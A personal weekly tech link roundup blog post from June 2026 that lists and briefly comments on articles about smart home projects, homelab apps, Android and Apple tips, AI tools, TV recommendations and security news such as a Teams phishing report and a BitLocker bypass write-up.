- Contact sensors: “Contact sensors could be the most underrated sensors there are. The obvious uses for contact sensors are to determine whether a door or window is open or closed, and they’re excellent for that purpose. There’s so []much more you can do with them](https://www.howtogeek.com/heres-how-cheap-contact-sensors-gave-my-smart-home-superpowers/), however.”
How-To Geek: 2 Raspberry Pi weekend projects that solve real kitchen problems and 1 just for fun June 12 - 14)
1. Build a family recipe kiosk to make choosing dinner easier: Mealie: “Mealie is an intuitive and easy to use recipe management app. It’s designed to make your life easier by being the best recipes management experience on the web and providing you with an easy to use interface to manage your growing collection of recipes.”
2. Have a wall-mounted smart calendar in the kitchen: GitHub: fatihak / InkyPi: “E-Ink Display with a Raspberry Pi and a Web Interface to customize and update the display with various plugins”
3. Scan USB drives for malware before plugging them into your computer: “The way it works is by setting up the virus and malware scanning software you want on the Raspberry Pi. Set it up so that any removable storage that is attached to the Pi automatically gets scanned the moment it’s mounted.”
How-To Geek: 3 self-hosted projects that turn your storage-only homelab into a useful playground (June 12 - 14)
1. Track your vehicle’s maintenance with LubeLogger
2. Keep your doodles stored locally with Excalidraw
3. Organize articles to look at later with Wallabag
  - I was self-hosting Wallabag for a short time, before switching to Karakeep (previously, Hoarder): “Quickly save links, notes, and images and Karakeep will automatically tag them for you using AI for faster retrieval. Built for the data hoarders out there!”
How-To Geek: 3 Home Assistant dashboard projects to try this weekend (Jun 12 - 14)
1. Create an RSS feed dashboard: Feedreader: “Add an RSS/Atom feed reader that polls feeds every hour and sends new entries into the event bus.”
2. Track your location history: " If you use the Home Assistant Companion app, it can track your location. In the default Map view in Home Assistant, you can then see the locations of yourself and other family members. However, this view only displays the current location of tracked devices; it doesn’t show where you’ve been."
3. Build a simple guest dashboard: “You can give your guests a huge instruction manual for your smart home that covers everything they’ll need to know. Or you can set up a guest mode that disables most of the more complex automations and just leaves the important ones in place.”
How-To Geek: This is the Home Assistant dashboard I actually enjoy using every day
- This is more just about simple info displays vs. actual options \ settings.
How-To Gek: How I turned my Echo Show into a Home Assistant control panel
- This involves rooting an Echo Show 5, installing a custom launcher, & then the Home Assistant application.
Make Use Of: My Home Assistant dashboard finally looks as smart as my home
- Recommendations on how to build out dashboards.

🖥️🔐 IT Security

Palo Alto: UNIT42: When “Hi, This Is IT” Comes Through Microsoft Teams: “The worker previews the message and sees, “Hi, this is the IT Department. We see an issue with your account.” The message looks routine and is in MS Teams, not email. The worker accepts the message. The conversation proceeds and the “IT technician” explains that a login anomaly was detected and asks the worker to approve a multi-factor authentication (MFA) prompt to confirm their identity. The conversation continues for a few minutes to maintain credibility, but behind the scenes the compromise is already underway.”
- Microsoft | Learn: Security best practices for Microsoft Teams
Ghost-Sender: “Exchange Online tenants routing mail through third-party filters may allow incoming spoofing from any sender - bypassing SPF, DKIM, and DMARC entirely. Paste a list of your domains to check which are affected.”
- I did test it myself (vs. using the tool), & while it was successfully sent, Microsoft 365 quarnatined it with a high spam score. I will have to test alternate senders vs. the recipient domain, but at least it looks like this was caught.
- Microsoft | Learn: Exchange Online tenants routing mail through third-party filters may allow incoming spoofing from any sender - bypassing SPF, DKIM, and DMARC entirely. Paste a list of your domains to check which are affected.
IT’S FOSS: AliasVault Is The BitWarden Alternative You Didn’t Know You Needed
- GitHub: aliasvault / aliasvault: “Privacy-first password manager with built-in email aliasing. Fully encrypted and self-hostable.”
- Web Site: AliasVault: “Privacy-First Password & Email Alias Manager. AliasVault is an end-to-end encrypted password and (email) alias manager that protects your privacy by creating alternative identities, passwords and email addresses for every website you use.”
Fuzzing Labs: Reproducing CVE-2026-23111: How one character can change everything
Exodus Intel: Off By !: Exploiting a Use-after-Free in the Linux Kernel
HelpNet Security: DockSec: Open-source AI-powered Docker security scanner
- GitHub: OWASP / DockSec: “AI-powered Docker security scanner that explains vulnerabilities in plain English. An OWASP Incubator Project.”
- Web Site: OWASP DockSec
How-To Geek: 3 open-source, cross-platform security apps that just work
1. ClamAV: A no-nonsense, open-source antivirus you control
2. VeraCrypt: Open-source encryption for Windows, macOS, and Linux
3. Wazuh: Modern intrusion detection that puts you in control
Make Use Of: This is hands down the easiest way to access your PC from anywhere without a VPN: “Getting into your home network from somewhere else used to mean accepting a slow, centralized VPN that routes everything through a single server, or a complicated manual setup that most people give up on halfway through. WireGuard is neither of those things. It connects devices directly, keeps the cryptographic overhead low, and doesn’t maintain connection state, so switching networks doesn’t break anything. You just need to get used to using it.”
- I don’t agree with the title of this article… from WireGuard’s web site: “WireGuard® is an extremely simple yet fast and modern VPN that utilizes state-of-the-art cryptography. It aims to be faster, simpler, leaner, and more useful than IPsec, while avoiding the massive headache. It intends to be considerably more performant than OpenVPN. WireGuard is designed as a general purpose VPN for running on embedded interfaces and super computers alike, fit for many different circumstances. Initially released for the Linux kernel, it is now cross-platform (Windows, macOS, BSD, iOS, Android) and widely deployable. It is currently under heavy development, but already it might be regarded as the most secure, easiest to use, and simplest VPN solution in the industry.”
- I have been using WireGuard for years with my OpenWrt router & love it; but saying WireGuard isn’t a VPN when it is… = Make Use Of: The new BitLocker exploit everyone’s freaking out about probably won’t affect you
- GitHub: MSNightmare / GreatXM: “GreatXML bitlocker bypass vulnerability”
- “According to a post made by Will Dormann on Infosec.exchange, the exploit only works if several very specific conditions are met, including the target system having previously used Microsoft Defender’s Offline Scan feature.”
- The Register: Microsoft’s worst ‘Nightmare’ unleashes BitLocker bypass 0-day
- Nightmare Eclipse: GreatXML is a bitlocker bypass that seems to work if you ever had a Defender Offline Scan: “If you ever attempted to use Windows Defender Offline Scan, you’re automatically vulnerable to a bitlocker bypass. I’m unsure if you can still trigger the bug without ever using the offline scan feature, because you can definitely”
The CyberSec Guru: Blue Teaming Mindmap: Complete Guide to Defense, Detection & Response

w33k in g33k: June 05, 2026

Fri, 05 Jun 2026 17:00:00 -0400

👎🏻 Adulting

How-To Geek: This Excel tool can predict future trends—but you probably never knew it existed: “When you track data over time, patterns often repeat themselves. Ice cream sales naturally rise during hot summer months and dip during the winter, garden harvests follow similar seasonal cycles, and retail store revenue predictably spikes during the holiday shopping rush. This repeating pattern is called “seasonality,” and Excel’s Forecast Sheet tool is designed to detect it automatically without you needing to build complex formulas.”

🤖 Android

How-To Geek: I figured out how to run my favorite Linux TUI music player on Android, and it’s better than any app on the Play Store
- cmus: “cmus is a small, fast and powerful console music player for Unix-like operating systems.”
Liliputing: Hack your Amazon Fire tablet with Fire Toolbox (Install Google Play, change default apps & behavior, and more)
- XDA Developers: [WINDOWS/LINUX][TOOL] Fire Toolbox V45.0
How-To Geek: 3 more open-source Android apps I’d (happily) pay for even if they weren’t free
1. Unexpected Keyboard (F-Droid): “Lightweight and privacy-conscious virtual keyboard for Android.”
2. Canta (F-Droid): “Canta Debloater lets you uninstall any(*) app without root (updated version).”
3. GitHub: AhmetCanArslan / ShizuWall: “Lightweight, no vpn firewall solution for Android 11+”

🖥️🍎 Apple

Apple Insider: How to exorcise your HomePod and HomePod mini of ‘ghost touches’
- I have some of my Homepod mini’s unplugged because of this problem…
- “Starting off simply, clean the display. If it’s a HomePod that’s sat on a shelf for a long time, it can get a layer of dust on the top, which can trigger a false touch.”
- “Toggle off Touch and Hold for Siri” or change the hold duration through Accessibility settings.
- “It is possible to disconnect the touch panel from the display entirely”
Lifehacker: This Tool Can Block Ads in Almost Any iPhone App
- App Store for iPhone: Wipr 2
- What Is Filtr?: “Filtr is brand new feature that extends Wipr’s blocking to all apps on the device. It acts at the network level, but it can access none of your data.”

🤖 Artificial Intelligence \ Large Language Models

How-To Geek: Don’t pay for another AI app until you try these free alternatives
- “Pay for AI only after the free tools hit their limits”
- “Use Claude for editing, structure, and long-form work. It’s useful when the words are already there but need a second pass”
- “Use Perplexity when you need research with sources. It works best when you want answers you can actually check”
- “Use Gemini or Copilot if you live in Google or Microsoft apps. Sometimes the best AI tool is the one already inside your workflow”
- “Use ChatGPT when you need help with code. Coding help is often better when the tool can explain the problem, not just fix it”
Make Use Of: I stopped using OpenClaw — this is the better agent that the mainstream hasn’t caught up to yet
- Hermes Agent: “Not a coding copilot tethered to an IDE or a chatbot wrapper around a single API. An autonomous agent that lives on your server, remembers what it learns, and gets more capable the longer it runs.”
Make Use Of: I built a private LLM on my home PC using a USB drive — it only knows what I put on it
- GPT4All: “Your Private and Local AI Chatbot”
GitHub: pewdiepie-archdaemon / odysseus: “Self-hosted AI workspace.”

🌎 Current Events

🎥📺 Entertainment

Make Use Of: Goodbye Goodreads — I found the reading app that’s better in every way
- fable: “The modern app for every reader. Join a community of good people to discuss great stories on Fable.”
Lifehacker: 10 Shows and Movies Like ‘Backrooms’ You Should Watch Next
1. Exit 8 (2025): “A man becomes increasingly desperate when he realizes he is trapped in a subway station, needing to complete a mission to get out.”
2. Skinamarink (2022)
3. In Fear (2013): “Two children wake up in the middle of the night to find their father is missing, and all the windows and doors in their home have vanished.”
4. The Blair Witch Project (1999): “Three film students vanish after traveling into a Maryland forest to film a documentary on the local Blair Witch legend, leaving only their footage behind.”
5. As Above, So Below (2014): “When a team of explorers venture into the catacombs that lie beneath the streets of Paris, they uncover the dark secret that lies within this city of the dead.”
6. Vivarium (2019): “A young couple looking for the perfect home find themselves trapped in a mysterious labyrinth-like neighborhood of identical houses.”
7. Channel Zero: No-End House (2017): Season 02 (Wikipedia)
8. Timecrimes (2007): “A man accidentally gets into a time machine and travels back in time nearly an hour. Finding himself will be the first of a series of disasters of unforeseeable consequences.”
9. Severance (2022): “Mark leads a team of office workers whose memories have been surgically divided between their work and personal lives. When a mysterious colleague appears outside of work, it begins a journey to discover the truth about their jobs.”
10. The Deep House (2021): “While diving in a remote French lake, a couple who specialize in urban exploration videos discover a house submerged in deep waters. Their dive turns into a nightmare when they discover the house was the scene of atrocious crimes.”

🎮 Games

Windows Central: Halo: Fireteam Raven is now playable on PC — but it’s not quite as simple as it sounds
- So this post is really just saying it exists. It doesn’t really give any details on where it’s available, unless TeknoParrot does have it.
- “While I can’t share it for obvious legal reasons, it’s still nice to know the game is out there for those willing to go looking for it.”
- “While sharing the ROM isn’t something I can do, it’s also not something I’d recommend you do either, just for the record. That said, there is actually a fairly active community dedicated to preserving and playing older arcade games, with TeknoParrot being one of the most popular emulators used for that purpose.”
Chris’ Blog: Snowboard Kids 2 is 100% Decompiled: I’m looking forward to mods \ remakes of this one. I forgot playing it until i saw the article, so definitely looking forward to it.
- This definitely reminded me to look at other games that were decompiled \ ported to other locations from N64.
Android Authority: The best PS4 emulator just got its biggest update, including local multiplayer
- GitHub: shadps4-emu / shadPS4: “PlayStation 4 emulator for Windows, Linux, macOS and FreeBSD written in C++”
- Web Site: shadPS4: “shadPS4 is an early PlayStation 4 emulator for Windows, Linux and macOS written in C++”
OMG Ubuntu: Play Catan in your terminal with El Poblador, a TUI clone
- sourcehut: ~vicho/el_poblador: “A terminal-based implementation of Settlers of Catan in Go.”
Gizmodo: New ‘Backrooms’ Game Merges Quantum Mechanics With an Old-School Dungeon Crawler
- Quantum Backrooms

🏡 Home (Homelab \ Self-Hosted)

Rad Web Hosting: How to Install and Run Mail-in-a-Box on Ubuntu VPS
- I know running a mail server is pretty much never recommended, but I’ve always been curious when i see email settings on self-hosted things, since I’ve tried Gmail SMTP in the past with mixed results. So i wanted to see how this would be.
- Mail-in-a-Box: “Mail-in-a-Box lets you become your own mail service provider in a few easy steps. It’s sort of like making your own gmail, but one you control from top to bottom.”
How-To Geek: 3 Home Assistant projects that work outside of your home to try this weekend (May 29 - Jun 1)
1. Make Home Assistant ring your phone for urgent alerts
2. Get Home Assistant to remember where you parked
3. Build a live dashboard for your family
Make Use Of: 4 smart home projects you should never DIY (even if the subreddit says you can)
1. Upgrading an electrical panel: There is no way in hell i would attempt that myself 🙃
2. An extensive router rack can be difficult: I don’t agree with this one… pretty much mentioning that replacing a router &\or modem is complicated?
3. A smart water monitor shouldn’t be attempted alone: Definitely agree to have a plumnber do this..
4. Installing an entire security system on your own: I have\had a security system that I’m replacing, so i was able to use the existing wires through the walls to put my own cameras.
Make Use Of: I stopped SSHing into my server just to run scripts — this free tool put them all behind one button
- OliveTin: “Give safe and simple access to predefined shell commands from a web interface.”
- This tool sounds familiar. I might have come across it before, but never set it up.
Make Use Of: I built a $4 temperature sensor that works with every smart home app
- AliExpress: ESP32
- AliExpress: DHT22
How-To Geek: Stop dreading the Plex-to-Jellyfin switch, this plugin does the heavy lifting
- GitHub: cleverdevil / plexyfin: “A Jellyfin plug-in to integrate with a Plex Media Server”
  - “A plugin for Jellyfin that syncs collections and artwork from your Plex Media Server to Jellyfin.”
How-To Geek: My Plex server became something else entirely—here’s what it actually does now
- Immich: “Self-hosted photo & video management solution. Easily back up, organize, and manage your photos on your own server. Immich helps you browse, search and organize your photos and videos with ease, without sacrificing your privacy.”
- AdGuard Home: GitHub: AdguardTeam / AdGuardHome: “Network-wide ads & trackers blocking DNS server”
- Home Assistant: “Open source home automation that puts local control and privacy first. Powered by a worldwide community of tinkerers and DIY enthusiasts.”
- Private Fitness Tracking (vs. Strava)
  - How-To Geek: Strava was logging my home address without asking—here’s the open-source app I switched to
    - Play Store: FitoTrack: “FitoTrack is a mobile app for logging and viewing your workouts. Whether you’re running, cycling or hiking, FitoTrack will show you the most important information, with detailed charts and statistics. It is open-source and completely ad-free.”
    - Codeberg: endurain-project / Endurain: “Endurain is a self-hosted fitness tracking service designed to give users full control over their data and hosting environment https://docs.endurain.com”
- Nextcloud: “Nextcloud Hub combines the key Nextcloud products Files, Talk, Groupware, Office, Assistant and Flow, into a single platform, optimizing the flow of collaboration.”
How-To Geek: 3 weekend Raspberry Pi projects that actually solve real problems at home (Jun 5 - 7)
1. Build an offline Wikipedia: Kiwix Server: “Acting as a dedicated HTTP server, sharing ZIM files, Kiwix Server compresses archives of websites like Wikipedia over a local network, making the content easily accessible on any device with a web browser, whether it’s a phone, laptop, or desktop…”
2. Monitor your battery backups with Network UPS Tools: Network UPS Tools (NUT): “The primary goal of the Network UPS Tools (NUT) project is to provide support for Power Devices, such as Uninterruptible Power Supplies, Power Distribution Units, Automatic Transfer Switches, Power Supply Units and Solar Controllers. NUT provides a common protocol and set of tools to monitor and manage such devices, and to consistently name equivalent features and data points, across a vast range of vendor-specific protocols and connection media types.”
3. Create a network troubleshooting toolkit: NetTool: “A comprehensive toolkit that transforms your Raspberry Pi into a powerful network diagnostic and monitoring station.”
How-To Geek: Every homelab needs these 3 free utilities
1. Pi-hole: “Network-wide Ad Blocking”
2. Proxmox VE: “Simplify your data center. Secure, flexible, and reliable open-source enterprise solutions. For the highest demands and tight budgets in professional IT environments.”
3. TrueNAS Core: “From the edge to your data center – transform your data estate. Deliver data sovereignty with TrueNAS Enterprise storage solutions.”
How-To Geek: 3 Docker upgrades that will change how you run your homelab this weekend (Jun 5 - 7)
1. Beszel: “Simple, lightweight server monitoring. With Docker stats, historical data, and alerts.”
2. Dozzle: “Real-time Docker logs, stats, and debugging — in your browser.”
3. Dockge: “Self-hosted - Docker compose.yaml - Stack-oriented Manager”

🖥️🔐 IT Security

GitHub: glytchtech / Pager-Mod-Docs: Mesh/payload.sh
- I was looking into this to see if i could get Meshtastic installed on my PinePager, then see about connected a Heltec v3 or v4 & seeing if that works vs. the “official” glytchtech piece.
ars Technica: Dashlane explains how attackers managed to download encrypted password vaults: “In a campaign that started Sunday, the unknown threat actor abused the mechanism that allows Dashlane users to add new devices, such as computers or phones, to their accounts. By abusing Dashlane’s programming interfaces for device enrollment, the attackers sent requests to large numbers of existing users’ registered email addresses.”
- Dashlane Support: Security advisory: Brute force attack on Dashlane user accounts
Ammar Askar: 1-Click GitHub Token Stealing via a VSCode Bug: “Just by clicking a link, it’s possible for an attacker to steal a GitHub token that can read and write to your repos, including private ones.”

🐧 Linux

Hack a Day: It’s Another Pi Handheld. But It’s A Really Good One: I really want to build this…
- OSHW Lab: piBrick Pocket-CM5: “piBrick Pocket-CM5 is a smartphone-sized handheld PC powered by the Raspberry Pi CM5, featuring a 3.92” AMOLED touch display and a QWERTY keyboard+trackpad from BBQ20."
- GitHub: amarullz / piBrick: “piBrick Pocket-CM5 is a smartphone-sized handheld PC powered by the Raspberry Pi CM5, featuring a 3.91” AMOLED touch display and a QWERTY keyboard+trackpad from BBQ20."
IT’s FOSS: This Credit Card-Sized Linux Box Has a Keyboard, Camera, and AI Capability
- Something else i should have held off on, but caved & put money towards anyway…
- Kickstarter: m5stack / cardputerzero: “Powered by CM0 | All-in-One Design | Standard Linux I/O | Grove & Advanced I/O Ports | 100+ Extra M5 Modules | Credit Card Size”
IT’S FOSS: I Tried This Open Source ChatGPT Alternative on Linux, But Went Back to Ollama
- GitHub: janhq / jan: “Jan is an open source alternative to ChatGPT that runs 100% offline on your computer.”
- Web Site: Jan
How-To Geek: These free, open source Linux apps made expensive creative software harder to justify
1. Kdenlive: “Free and Open Source Video Editor. Kdenlive is the acronym for KDE Non-Linear Video Editor. It works on Linux, Windows, macOS, and BSD.”
2. darktable: “darktable is an open source photography workflow application and raw developer. A virtual lighttable and darkroom for photographers. It manages your digital negatives in a database, lets you view them through a zoomable lighttable and enables you to develop raw images and enhance them.”
3. Blender: “Blender is the free and open source 3D creation suite. It supports the entirety of the 3D pipeline—modeling, rigging, animation, simulation, rendering, compositing and motion tracking, even video editing and game asset creation. Advanced users employ Blender’s API for Python scripting to customize the application and write specialized tools; often these are included in Blender’s future releases. Blender is well suited to individuals and small studios who benefit from its unified pipeline and responsive development process. Examples from many Blender-based projects are available in the showcase.”
How-To Geek: 7 Linux commands and shortcuts I wish I learned on day one
1. Clear: clear: Clkears the screen. Keyboard shortcut: Ctrl+L
2. Copying & pasting text: “Place the cursor where you want to cut the text and then press Ctrl+K. This will cut the text to the end of the line in the terminal. You can also go the other way and cut to the beginning of the line with Ctrl+U. To paste text copied from within the terminal, press Ctrl+Y to paste it.”
3. Moving around and reading files or folders: pwd, cd, ls
4. Read the manual: man <command>, tldr
5. Kill any running program: xkill <application>
6. History: history, *Ctrl+R
7. Install apps and update your computer: apt, dnf
GitHub: jeek / Meshtastic-Exploiteers-Hacker-Pager: sshclient

🎥📺 Media

Talk Android: Discover 10 amazing forgotten sci-fi shows you can stream for free right now
1. Haven: A genuine hit on SYFY in the 2010s, Haven is loosely based on Stephen King’s story The Colorado Kid. The show offers small-town mystery vibes with a supernatural twist, exploring psychic powers and unresolved questions over five seasons. The cast—Emily Rose, Lucas Bryant, and Eric Balfour—had undeniable chemistry.
2. The Outer Limits (1995 revival): Much like a darker, more mature version of The Twilight Zone, this series revived the 1960s anthology for seven seasons and over 150 episodes through the late 1990s and early 2000s, originally airing on Showtime and later SciFi Channel. Known for its impressive guest roster, you could spot Mark Hamill, Amanda Tapping, Ryan Reynolds, Kirsten Dunst, and Robert Patrick over the years.
3. Continuum: This lesser-known Canadian time travel show ran as a SYFY original and followed a cop from the future who goes back in time to prevent criminals from changing history. Rachel Nichols stars, and the show explores the chaos and consequences of time travel.
4. The Triangle: Back when SciFi Channel still took big creative swings with ambitious miniseries, The Triangle focused on the Bermuda Triangle. Written by Rockne S. O’Bannon and Dean Devlin, and starring Sam Neill, Eric Stoltz, Catherine Bell, and Lou Diamond Phillips, it offered high-concept sci-fi adventure.
5. Relic Hunter: If you ever wondered what a budget 1990s-style live-action Tomb Raider knockoff starring Tia Carrere might look like, this short-lived syndicated show is it. Carrere plays a professor globe-trotting in search of mysterious treasures. The formula is familiar, but the adventure is fun.
6. Lexx: Even sci-fi diehards sometimes forget Lexx. It ran for four seasons on SciFi Channel around the turn of the millennium, during a period when the network was experimenting with its direction. The show is dark, comedic, sexy, and unapologetically bizarre.
7. Sanctuary: This SYFY original debuted in 2007 as an experimental web series before getting picked up for TV. Amanda Tapping, post-Stargate SG-1, stars as a scientist who studies unusual and wild creatures. The series was one of the first shot almost entirely using green screen, giving it a distinct, if now somewhat dated, visual style.
8. Tin Man: Not to be confused with Wicked, this quirky revisiting of the Wizard of Oz concept premiered as a SYFY miniseries in 2007. The cast included Zooey Deschanel, Alan Cumming, Neal McDonough, Kathleen Robertson, and Richard Dreyfuss. It drew large ratings and reportedly cost $20 million to produce.
9. Farscape: Perhaps not “forgotten” but definitely underwatched lately, Farscape remains a standout sci-fi series. It was the benchmark that put SciFi Channel on the map for original content, featuring a bold mix of puppetry and practical effects that still feel unique, alongside imaginative stories that rival Star Trek and Star Wars.
10. The Dresden Files: Adapted from Jim Butcher’s urban fantasy book series, this 2007 SYFY show was well-received by critics and genre fans but didn’t draw enough viewers to last beyond a single season. Paul Blackthorne starred as wizard/private eye Harry Dresden. The series ran for just twelve episodes. As one viewer put it: “If the Dresden Files series had been called anything else… It was a good series if you’d never read the Dresden Files. It even got me to read the books … after which I found out why so many people didn’t like it. It was horrible as an adaptation. Not actors’ fault, they did the best you could expect.” Even with its flaws, it’s still an interesting watch, especially if you’re curious about Chicago’s magical underbelly.
Lifehacker: 10 Shows and Movies Like ‘Backrooms’ You Should Watch Next
1. Exit 8 (2025): “A man becomes increasingly desperate when he realizes he is trapped in a subway station, needing to complete a mission to get out.”
2. Skinamarink (2022): “Two children wake up in the middle of the night to find their father is missing, and all the windows and doors in their home have vanished.”
3. In Fear (2013): “Driving to a music festival in Ireland, a new couple become lost and are then set upon by a tormentor with an unknown motive.”
4. The Blair Witch Project (1999): “Three film students vanish after traveling into a Maryland forest to film a documentary on the local Blair Witch legend, leaving only their footage behind.”
5. As Above, So Below (2014): “When a team of explorers venture into the catacombs that lie beneath the streets of Paris, they uncover the dark secret that lies within this city of the dead.”
6. Vivarium (2019): “A young couple looking for the perfect home find themselves trapped in a mysterious labyrinth-like neighborhood of identical houses.”
7. Channel Zero: No-End House (2017): Channel Zero, Season 02
8. Timecrimes (2007): “A man accidentally gets into a time machine and travels back in time nearly an hour. Finding himself will be the first of a series of disasters of unforeseeable consequences.”
9. Severance (2022): “Mark leads a team of office workers whose memories have been surgically divided between their work and personal lives. When a mysterious colleague appears outside of work, it begins a journey to discover the truth about their jobs.”
10. The Deep House (2021): “While diving in a remote French lake, a couple who specialize in urban exploration videos discover a house submerged in deep waters. Their dive turns into a nightmare when they discover the house was the scene of atrocious crimes.”

🖥️🪟 Windows

Make Use Of: 5 Windows settings you can only change in the Registry
1. Bring back the classic right-click menu
  - “HKEY_CURRENT_USER\Software\Classes\CLSID” > New Key: {86ca1aa0-34aa-4e8b-a509-50c905bae2a2} > New Key: InprocServer32
2. Stop web results in Start menu search
  - “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Search” > BingSearchEnabled: Set value to 0.
3. Skip the lock screen entirely
  - “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows” > New Key: Personalization > New Key: NoLockScreen. Set value to 1.
4. Fine-tune menu and hover delay
  - “HKEY_CURRENT_USER\Control Panel\Desktop”: MenuShowDelay: Default is 400, so decrease to preferred value
5. Get rid of shortcut arrows on desktop icons
  - “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Icons”: New String Value: Set 29 & enter path to a blank ICO file.

❔ Miscellaneous

Make Use Of: 5 open-source apps that are so good you’ll never need to pay for them
- I don’t really understand the subject “so good you’ll never need to pay for them”?
1. ShareX: “ShareX is a free and open-source screenshot and screencast software for Windows. It is published under the GNU General Public License. The project’s source code is hosted on GitHub. It is also available on the Microsoft Store and Steam.” (Wikipedia)
2. Duplicati: “Secure backup solution for hybrid cloud and on-prem. Unified Data Protection for Hybrid Infrastructure. Secure, monitor, and orchestrate backups across on-premises hardware and cloud workloads from a single, zero-trust console.”
3. Super Productivity: “Deep work made simple. A productivity system that adapts to how you actually work. Tasks, time tracking, and focus tools in one open-source app – offline, private, and yours to shape.”
4. OBS Studio: “Free and open source software for video recording and live streaming. Download and start streaming quickly and easily on Windows, Mac or Linux.”
5. LibreOffice: “LibreOffice is an open source office suite created by you, for you.”
How-To Geek: Why I ditched VLOOKUP for XLOOKUP—and made Excel predictable again
- I’ve never used VLOOKUP, so i saved this as a note to look into that & the “XLOOKUP” mentioned here.
How-To Geek: I turned my modded Fire Tablet into a working terminal — here’s how and what I did with it
- Used F-Droid to get Termux installed.
How-To Geek: 3 criminally underrated free, open-source apps to try this weekend (May 29–31)
1. Super Productivity: “A productivity system that adapts to how you actually work. Tasks, time tracking, and focus tools in one open-source app – offline, private, and yours to shape.”
2. Portmaster: “Portmaster is a free and open-source application firewall. Monitor every network connection on your computer and set per-application rules for what to block.”
3. Mailspring: “The fast, beautiful email client for people who take email seriously. A native desktop app for Mac, Windows, and Linux — with multi-account support, read receipts, link tracking, send later, and more. Free for everything you need. Pro features at $8/month.”
How-To Geek: 5 ESP32-powered E-Ink display projects to make this weekend (May 29 - Jun 1)
1. ESPHome and Home Assistant E-Ink boards
  - GitHub: trip5 / ESPHome-eInk-Boards: “Weather & Tasks Boards for ESPHome and Home Assistant”
  - Open-Meteo: “Free weather API. Free weather forecast and historical weather API — 30+ models, historical weather from 1940, no API key required.”
2. Color E-Ink picture frame
  - How-To Geek: I built an E-Ink photo frame using an Arduino, E-Paper display and Google Antigravity
  - GitHub: shi-314 / esp32-spectra-e6: “ESP32 Firmware for Spectra E6 Displays”
  - blog.shvn.dev: Building an E Ink Picture Frame
  - GitHub: Duocervisia / e-paper-esp32-frame: “This project provides a comprehensive installation guide for an e-paper picture frame that updates daily. The frame features a Waveshare E6 full color e-paper display, which, combined with the implemented Floyd-Steinberg Dithering algorithm, creates the illusion of a greater color depth. Users have the ability to convert their own images using the included BMP-Converter. Additionally, the frame can be connected to the internet to display specific images on designated days. The 1000mAh battery is expected to last for approximately 700 days and can be recharged through the ESP32’s type-C port.”
3. eFortune cookie: Instructables: EFortune Cookie — a Tiny ESP32 Fortune Teller
4. TrailNAV GPS navigator: Instructables: TrailNAV: a Low-power Off-grid Assistive Navigation Device
5. WeatherPaper minimalist weather display: Instructables: WeatherPaper - Start Your Day With Clarity, Not Clutter
GitHub: EIrno / Cracked-Oura: “Oura ring paywalls the data behind a subscription, but luckily you can export your data from Oura and import it to Cracked Oura. Cracked Oura is an open-source desktop application that provides full access to your health metrics, stored locally on your machine.”
How-To Geek: I tried these 4 obscure Docker containers, and now I run them 24/7
- Papermerge: “A document management system for PDF, JPEG, PNG, and TIFF — with custom metadata, full-text search, and a tamper-proof audit trail that satisfies GoBD requirements out of the box.”
  - GitHub: ciur / papermerge: “Open Source Document Management System for Digital Archives (Scanned Documents)”
- Actual Budget: “Actual Budget is a super fast and privacy-focused app for managing your finances. At its heart is the well proven and much loved Envelope Budgeting methodology. You own your data and can do whatever you want with it. Featuring multi-device sync, optional end-to-end encryption and so much more.”
  - GitHub: actualbudget / actual: “A local-first personal finance app”
- Wallabag: “Save and classify articles. Read them later. Freely.”
  - I did try Wallabag for a short time, but ended up staying with Karakeep.
- Excalidraw: “Excalidraw is a virtual collaborative whiteboard tool that lets you easily sketch diagrams that have a hand-drawn feel to them.”
Make Use Of: NotebookLM finally has an open-source rival, and I’m hooked
- Open Notebook: “Open Notebook. Take Control of Your Learning. Privately. A powerful open-source, AI-powered note-taking/research platform that respects your privacy”
- GitHub: lfnovo / open-notebook: “An Open Source implementation of Notebook LM with more flexibility and features”
Android Police: You might soon use WHOOP without paying for it, but the project is still in its early stages
- GitHub: b-nnett / goose: “Goose Swift proof-of-concept README”
How-To Geek: This 34-year-old open source tool is still the fastest way to write on your computer
- Vim
- Vim Cheat Sheet

selh.st: Self-Host Weekly (5 June 2026), by Ethan Sholly.

GitHub: streamyfin / streamyfin: “A modern Jellyfin client built with Expo”
- Web Site: Streamyfin
- While trying to get my Home Video library working between Plex & Jellyfin earlier this week, i downloaded a number of Apple TV Jellyfin apps, but I’m not sure if Streamyfin was one. I also have a number of the clients on my phone, so i should probably take a look at all of them & see if i can narrow down what i have.
GitHub: yakushstanislav / UltraViolet: “Self-hosted network discovery & search — your own Shodan, on your hardware.”
- I thought this was going to be for more local discovery, but i could see use-cases for the public side too.
GitHub: perber / leafwiki: “LeafWiki - Self-hosted wiki. Single Go binary, SQLite, Markdown on disk. No external database required.”
- Web Site: LeafWiki: “A self-hosted wiki. Single binary, no external database, Markdown on disk.”
- I just wanted to save this one because it’s similar to some of the other note-taking apps i use (which is too many…), but using Markdown files, making backup (& migration if needed) extremely easy.
GitHub: afaneca / myfin: “MyFin Budget - Web frontend for the personal finances platform that’ll help you budget, keep track of your income/spending and forecast your financial future.”
- Web Site: Myfin Budget: “Take Control of Your Finances with MyFin Budget”
- I’ve been trying to get better \ more on top of budget, bills, finances, etc & just started trying to use Actual Budget after not really loving the Budget part of Oikos, so i wanted to give this service a look too.
GitHub: nezhahq / nezha: “Self-hosted, lightweight server and website monitoring and O&M tool”
- Web Site: Nesha Server Monitoring: “Open-source, lightweight, and easy-to-use server monitoring and operation tool”
- I haven’t found a home lab dashboard that I really love yet, so any time i see a new one mentioned i like to take a look at it.
GitHub: raceApps / nutritrace: “Self-hosted personal nutrition tracker — single Docker container, AGPL-3.0, no telemetry, no cloud sync.”
- Along with trying to get a better view & handle on finances, trying to be healthier has been on the list too. After meaning to look into Cracked Oura, i thought this service might be worth a try too.
GitHub: pewdiepie-archdaemon / odysseus: “Self-hosted AI workspace.”
- Web Site: Odysseus
- A coworker mentioned this one to me earlier this week, so i think i have it listed above in my post, but I’m still adding it since Ethan is also including it this week.
fitpub.social/
GitHub: endurain-project / endurain: “Endurain is a self-hosted fitness tracking service designed to give users full control over their data and hosting environment”
- Codeberg: endurain-project / endurain (Primary host vs. GitHub): “Endurain is a self-hosted fitness tracking service designed to give users full control over their data and hosting environment https://docs.endurain.com”
Microsoft | Windows Blogs: Build 2026: Furthering Windows as the trusted platform for development
- This is the part I’m excited for: “Coreutils for Windows – a set of Linux-like command line utilities that run natively on Windows, now generally available.”
